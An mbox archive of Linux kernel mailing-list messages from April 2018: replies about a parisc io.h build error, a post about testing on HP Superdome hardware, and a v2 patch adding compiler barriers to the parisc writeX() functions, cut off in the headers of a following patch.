ZmZzZXRzLnNdIEVycm9yIDEKbWFrZTogKioqIFtNYWtlZmlsZToxMDg1OiBwcmVwYXJlMF0g
RXJyb3IgMgo=
--------------2B4D016953CBDDA819BFD479--


From - Thu Nov 08 21:41:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sinan Kaya <okaya@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] parisc: use the asm-generic version for writeX()
Date: Mon, 16 Apr 2018 19:44:38 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <1152a7d4-a8f4-ae68-2737-067fa05409cd@codeaurora.org>
References: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
 <a727e74f-610c-4722-76e9-c1aca2f9e9bd@bell.net>
 <a7b59f43-cea5-0ead-f528-61899570e353@codeaurora.org>
 <7a9d139e-978b-750d-1bac-8b27e934f781@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1523922164 13115 195.159.176.226 (16 Apr 2018 23:42:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 16 Apr 2018 23:42:44 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>, arnd@arndb.de,
        timur@codeaurora.org, sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 01:42:38 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8Dle-0003JO-EB
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 01:42:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751953AbeDPXoo (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 16 Apr 2018 19:44:44 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:50934 "EHLO
        smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750979AbeDPXom (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 16 Apr 2018 19:44:42 -0400
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
        id 5D40C60863; Mon, 16 Apr 2018 23:44:42 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523922282;
        bh=yGuwF4AlT91Xm83pFSBZbkXWYT/juH0vcmB9srJZ1Qw=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=JtPpZPwO/gYHjhlyOJObGNgwAHyP/wO0/7QQ6nvPp1gV4aSjuuhrufChcWq9hn4PW
         NbKIzF/Usdlj/yVlIy+GLNQTkq7DR2LdasHKUXshizna5QKq/VIwjZie0F0Re8Fl2Q
         /17MywNjTPkBZDCBPh0On0Ghsv27kaycojsvTr9k=
Original-Received: from [10.235.228.150] (global_nat1_iad_fw.qualcomm.com [129.46.232.65])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        (Authenticated sender: okaya@smtp.codeaurora.org)
        by smtp.codeaurora.org (Postfix) with ESMTPSA id DAC0360290;
        Mon, 16 Apr 2018 23:44:39 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523922281;
        bh=yGuwF4AlT91Xm83pFSBZbkXWYT/juH0vcmB9srJZ1Qw=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=DeWGZpW+hnjJbLB9lZE7xV1U6uPk4ALiQ3VC0HxXAPArevkHGcYkRt8vs3Ixa9Zat
         LWacqd7gmwCN45SoLs9Np4+sKlRwBPplSy3mrmm+Swsq5GsC3xNY/GBsOF/nVnxsXL
         mWHMVMMF5iD1vyklXjwD8Od8Thr/VaH4sx4bIJFE=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org DAC0360290
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=none smtp.mailfrom=okaya@codeaurora.org
In-Reply-To: <7a9d139e-978b-750d-1bac-8b27e934f781@bell.net>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742645 gmane.linux.ports.arm.msm:33926 gmane.linux.ports.arm.kernel:644000 gmane.linux.ports.parisc:28495
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742645>

On 4/16/2018 7:37 PM, John David Anglin wrote:
>>   +#include <asm-generic/io.h>
>>   #include <asm-generic/iomap.h>
> Still lots of problems.
> 
> Dave
> 
> -- 
> John David Anglin  dave.anglin@bell.net
> 
> 
> io.log
> 
> 
>   CC      arch/parisc/kernel/asm-offsets.s
> In file included from ./arch/parisc/include/asm/io.h:262:0,
>                  from ./include/linux/io.h:25,
>                  from ./include/linux/irq.h:25,
>                  from ./arch/parisc/include/asm/hardirq.h:13,
>                  from ./include/linux/hardirq.h:9,
>                  from arch/parisc/kernel/asm-offsets.c:34:
> ./include/asm-generic/io.h:37:21: error: redefinition of '__raw_readb'
>  #define __raw_readb __raw_readb
>                      ^

This one is easy to fix:

https://elixir.bootlin.com/linux/latest/source/arch/parisc/include/asm/io.h#L146

Remove 146..179.

-- 
Sinan Kaya
Qualcomm Datacenter Technologies, Inc. as an affiliate of Qualcomm Technologies, Inc.
Qualcomm Technologies, Inc. is a member of the Code Aurora Forum, a Linux Foundation Collaborative Project.


From - Thu Nov 08 21:41:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sinan Kaya <okaya@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] parisc: use the asm-generic version for writeX()
Date: Mon, 16 Apr 2018 19:48:31 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <4eea352e-07f0-3a99-c9bd-57e117288778@codeaurora.org>
References: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
 <a727e74f-610c-4722-76e9-c1aca2f9e9bd@bell.net>
 <a7b59f43-cea5-0ead-f528-61899570e353@codeaurora.org>
 <7a9d139e-978b-750d-1bac-8b27e934f781@bell.net>
 <1152a7d4-a8f4-ae68-2737-067fa05409cd@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1523922397 28582 195.159.176.226 (16 Apr 2018 23:46:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 16 Apr 2018 23:46:37 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>, arnd@arndb.de,
        timur@codeaurora.org, sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 01:46:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8DpO-0007KJ-IX
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 01:46:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751970AbeDPXsh (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 16 Apr 2018 19:48:37 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:53628 "EHLO
        smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750972AbeDPXsf (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 16 Apr 2018 19:48:35 -0400
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
        id 8DB7960C64; Mon, 16 Apr 2018 23:48:34 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523922514;
        bh=CGuqGXg3xr8K9PXMjebm7YutxuqfIh1r1QBYEOiucwU=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=W9i7TmTua5PMPHm5X1jFXL7qAQd0FhFULCtulIuwStgbx0nV70/5yUvAPJndOeEEd
         Gur4GrZ0534Gvmph0DEKXbWNPa5h3gzXpFI5G1vP0Ep1bDGf9eWDr+ocWRTPJHHrMv
         nfuUDTRqsrOMTbgFCUb/cQ1BjgUvrhWsgLi3ykas=
Original-Received: from [10.235.228.150] (global_nat1_iad_fw.qualcomm.com [129.46.232.65])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        (Authenticated sender: okaya@smtp.codeaurora.org)
        by smtp.codeaurora.org (Postfix) with ESMTPSA id 583E96021A;
        Mon, 16 Apr 2018 23:48:32 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523922513;
        bh=CGuqGXg3xr8K9PXMjebm7YutxuqfIh1r1QBYEOiucwU=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=ZbOMooWaZVWPb08eqYDAJe6YGJGVs7rLU87YcSqhEUnTk/H4viYfm/VenwMA86iya
         lHwN2N/POIsowfqrEwhe423Zv9NO39x7Fb9fHSy4K2/k45hp/wyQHRwEWrn0RwzChp
         Uel34/FRp3ExQKAG9AGikiAwiQmHZv0q1IFKc21U=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org 583E96021A
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=none smtp.mailfrom=okaya@codeaurora.org
In-Reply-To: <1152a7d4-a8f4-ae68-2737-067fa05409cd@codeaurora.org>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742646 gmane.linux.ports.arm.msm:33927 gmane.linux.ports.arm.kernel:644001 gmane.linux.ports.parisc:28496
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742646>

On 4/16/2018 7:44 PM, Sinan Kaya wrote:
>> John David Anglin  dave.anglin@bell.net
>>
>>
>> io.log
>>
>>
>>   CC      arch/parisc/kernel/asm-offsets.s
>> In file included from ./arch/parisc/include/asm/io.h:262:0,
>>                  from ./include/linux/io.h:25,
>>                  from ./include/linux/irq.h:25,
>>                  from ./arch/parisc/include/asm/hardirq.h:13,
>>                  from ./include/linux/hardirq.h:9,
>>                  from arch/parisc/kernel/asm-offsets.c:34:
>> ./include/asm-generic/io.h:37:21: error: redefinition of '__raw_readb'
>>  #define __raw_readb __raw_readb
>>                      ^
> This one is easy to fix:
> 
> https://elixir.bootlin.com/linux/latest/source/arch/parisc/include/asm/io.h#L146
> 
> Remove 146..179.

I'll try to get a hold of a cross compiler and re-test. The above is a hack.
I need to do a better job on this.

Thanks for the help. I'll post V2 when it is ready.

-- 
Sinan Kaya
Qualcomm Datacenter Technologies, Inc. as an affiliate of Qualcomm Technologies, Inc.
Qualcomm Technologies, Inc. is a member of the Code Aurora Forum, a Linux Foundation Collaborative Project.


From - Thu Nov 08 21:41:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dennis Clarke <dclarke@blastwave.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: HP Superdome possible test
Date: Mon, 16 Apr 2018 22:10:56 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <69f09521-cb31-d42b-ee4e-2d8e7617b93a@blastwave.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523931349 4425 195.159.176.226 (17 Apr 2018 02:15:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Apr 2018 02:15:49 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Tue Apr 17 04:15:45 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1f8G9o-00014y-QS
	for debian-hppa@m.gmane.org; Tue, 17 Apr 2018 04:15:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id DD5522AC; Tue, 17 Apr 2018 02:17:55 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Tue Apr 17 02:17:55 2018
Old-Return-Path: <dclarke@blastwave.org>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id B3EF7274
	for <lists-debian-hppa@bendel.debian.org>; Tue, 17 Apr 2018 02:17:46 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.5 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, LDO_WHITELIST=-5, MDO_CABLE_TV3=0.5,
	RCVD_IN_DNSWL_NONE=-0.0001] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id jDEvC1bFbvry for <lists-debian-hppa@bendel.debian.org>;
	Tue, 17 Apr 2018 02:17:41 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -5
X-Greylist: delayed 394 seconds by postgrey-1.36 at bendel; Tue, 17 Apr 2018 02:17:40 UTC
Original-Received: from atl4mhfb04.myregisteredsite.com (atl4mhfb04.myregisteredsite.com [209.17.115.120])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 94DAA2AC
	for <debian-hppa@lists.debian.org>; Tue, 17 Apr 2018 02:17:40 +0000 (UTC)
Original-Received: from atl4mhob09.registeredsite.com (atl4mhob09.registeredsite.com [209.17.115.47])
	by atl4mhfb04.myregisteredsite.com (8.14.4/8.14.4) with ESMTP id w3H2BVN8027108
	for <debian-hppa@lists.debian.org>; Mon, 16 Apr 2018 22:11:31 -0400
Original-Received: from mailpod.hostingplatform.com (atl4qobmail01pod2.registeredsite.com [10.30.77.35])
	by atl4mhob09.registeredsite.com (8.14.4/8.14.4) with ESMTP id w3H2AwvY024613
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL)
	for <debian-hppa@lists.debian.org>; Mon, 16 Apr 2018 22:10:58 -0400
Original-Received: (qmail 12461 invoked by uid 0); 17 Apr 2018 02:10:58 -0000
X-TCPREMOTEIP: 99.253.103.29
X-Authenticated-UID: dclarke@blastwave.org
Original-Received: from unknown (HELO sedna.genunix.com) (dclarke@blastwave.org@99.253.103.29)
  by 0 with ESMTPA; 17 Apr 2018 02:10:58 -0000
Content-Language: en-US
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <HuyT8zBpYxC.A.LJF.TlV1aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8703
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/69f09521-cb31-d42b-ee4e-2d8e7617b93a@blastwave.org
Resent-Date: Tue, 17 Apr 2018 02:17:55 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7719 gmane.linux.ports.parisc:28497
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7719>


mentioned last week :

I will look into what the power issue are.  The serial cable setup is 
trivial but the power isn't.

I'll let you know.


Dennis

ps: three of these standing around : https://i.imgur.com/AcT2EQ2.jpg

----- from debian-hppa@lists.debian.org Sun, 15 Apr 2018 10:34:51 +0200

 > I assume hppa people in Debian (debian-hppa@l.d.o in CC) would 
appreciate testing on such gear.
 > Not sure if those superdomes will work out of the box though.

It really would be interesting if Linux can boot on such machines.

If they don't, I'm pretty sure that I can finish the firmware support in 
Linux to be able to boot in a cell. For that I'd need access to such a
machines via ssh (to a x86 machine for cross-compiling/tftpboot
provisioning) & a serial port to the superdome.

 > I know from my own testing that the following "smaller" machines work 
with Debian GNU/Linux Sid for hppa:
 >
 > * 712/80
 > * c3700, c3750, J5600, rp2470
 > * c8000, rp3440
 >
 > Apart from the rp3440 - and maybe also the 712/80 which showed some 
issue with it's built-in NIC after netbooting the Linux kernel and the OS

What kind of problems?

 > - all machines also work diskless, which could speed up testing for 
you and avoid a manual Debian installation - although this could still 
be interesting.

Helge



From - Thu Nov 08 21:41:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sinan Kaya <okaya@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel
Subject: [PATCH v2 1/2] parisc: define stronger ordering for the default writeX()
Date: Tue, 17 Apr 2018 00:08:50 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <1523938133-3224-1-git-send-email-okaya@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523938024 13549 195.159.176.226 (17 Apr 2018 04:07:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Apr 2018 04:07:04 +0000 (UTC)
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        Sinan Kaya <okaya@codeaurora.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        linux-kernel@vger.kernel.org
To: linux-parisc@vger.kernel.org, arnd@arndb.de, timur@codeaurora.org,
        sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 06:06:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8HtT-0003Pf-2L
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 06:06:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752546AbeDQEJG (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 17 Apr 2018 00:09:06 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:47704 "EHLO
        smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752261AbeDQEJD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 17 Apr 2018 00:09:03 -0400
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
        id 3A55B602B8; Tue, 17 Apr 2018 04:09:03 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523938143;
        bh=sCQGuLK4L3UgFxvytfuLMoihb5z5GU54TY5P9NCpoXo=;
        h=From:To:Cc:Subject:Date:From;
        b=PWKPpMypUKv0ilodm7WgKlvjYiFry5eBMDlK8pR8jJCuwUx/abL3QTMNB/EcjjK7y
         j0KpRfXMlB7ABmnEuc6yzcPfvRmTB0z0kWpIqndPkiVbTSdR3hwkddtRwcXXMDlgEz
         /OeCcHL8kFzqOuZ2GJrgh3/r9fWVhRKHCtulNySU=
Original-Received: from drakthul.qualcomm.com (global_nat1_iad_fw.qualcomm.com [129.46.232.65])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-SHA256 (128/128 bits))
        (No client certificate requested)
        (Authenticated sender: okaya@smtp.codeaurora.org)
        by smtp.codeaurora.org (Postfix) with ESMTPSA id E50EA602B8;
        Tue, 17 Apr 2018 04:09:00 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523938142;
        bh=sCQGuLK4L3UgFxvytfuLMoihb5z5GU54TY5P9NCpoXo=;
        h=From:To:Cc:Subject:Date:From;
        b=ZPM4Yw+YDxIdh4viz3R0qBUOYxCzSUL44xQGYioBtbJ7JCUjUvmP9UwGOZxs4+lbb
         R0jtqqPppyduo5MfPgF6nA0CpAflJ2pTCS/mwtBHQsvUF6KKtH+Nf0yc37pabwRbY+
         c5tvR3vM9ZqA/GnCwewNh5/ZHX0g8kw0jB3LA3iQ=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org E50EA602B8
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=none smtp.mailfrom=okaya@codeaurora.org
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742764 gmane.linux.ports.parisc:28498 gmane.linux.ports.arm.msm:33937 gmane.linux.ports.arm.kernel:644013
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742764>

parisc architecture seems to be mapping writeX() and writeX_relaxed() APIs
to __raw_writeX() API.

__raw_writeX() API doesn't provide any kind of ordering guarantees.
commit 755bd04aaf4b ("io: define stronger ordering for the default writeX()
implementation") changed asm-generic implementation to use a more
conservative approach towards the writeX() API.

Place a barrier() before the register write so that compiler doesn't
optimize across the regiter operation.

Signed-off-by: Sinan Kaya <okaya@codeaurora.org>
---
 arch/parisc/include/asm/io.h | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
index afe493b..2ec6405 100644
--- a/arch/parisc/include/asm/io.h
+++ b/arch/parisc/include/asm/io.h
@@ -196,18 +196,22 @@ static inline unsigned long long readq(const volatile void __iomem *addr)
 
 static inline void writeb(unsigned char b, volatile void __iomem *addr)
 {
+	barrier();
 	__raw_writeb(b, addr);
 }
 static inline void writew(unsigned short w, volatile void __iomem *addr)
 {
+	barrier();
 	__raw_writew((__u16 __force) cpu_to_le16(w), addr);
 }
 static inline void writel(unsigned int l, volatile void __iomem *addr)
 {
+	barrier();
 	__raw_writel((__u32 __force) cpu_to_le32(l), addr);
 }
 static inline void writeq(unsigned long long q, volatile void __iomem *addr)
 {
+	barrier();
 	__raw_writeq((__u64 __force) cpu_to_le64(q), addr);
 }
 
-- 
2.7.4



From - Thu Nov 08 21:41:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sinan Kaya <okaya@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel
Subject: [PATCH v2 2/2] parisc: define stronger ordering for the default readX()
Date: Tue, 17 Apr 2018 00:08:51 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <1523938133-3224-2-git-send-email-okaya@codeaurora.org>
References: <1523938133-3224-1-git-send-email-okaya@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523938029 13697 195.159.176.226 (17 Apr 2018 04:07:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Apr 2018 04:07:09 +0000 (UTC)
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        Sinan Kaya <okaya@codeaurora.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-kernel@vger.kernel.org
To: linux-parisc@vger.kernel.org, arnd@arndb.de, timur@codeaurora.org,
        sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 06:07:03 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8HtX-0003UY-BN
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 06:07:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752613AbeDQEJK (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 17 Apr 2018 00:09:10 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:47770 "EHLO
        smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752536AbeDQEJG (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 17 Apr 2018 00:09:06 -0400
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
        id 3A3B260C65; Tue, 17 Apr 2018 04:09:06 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523938146;
        bh=QsXWJ7n5QFEPPozYapfK25KnnzXqw/pvE1CeU+kYbZ0=;
        h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
        b=e5i9quRlrpThYjMhiLSdZlf6/6tPp5YyGmjKtAFwErgUide7gR+fxfiH6J817iToI
         LTDm+vWJtNgOOo0uCXfid8EzpMl/e7VZBOZoCB+eP7bOofI2l8OKplYy0LmoR5zSf2
         ZTcksutu8N4b48e4KE7/mvwaRXTAxEHcgqlO/LwU=
Original-Received: from drakthul.qualcomm.com (global_nat1_iad_fw.qualcomm.com [129.46.232.65])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-SHA256 (128/128 bits))
        (No client certificate requested)
        (Authenticated sender: okaya@smtp.codeaurora.org)
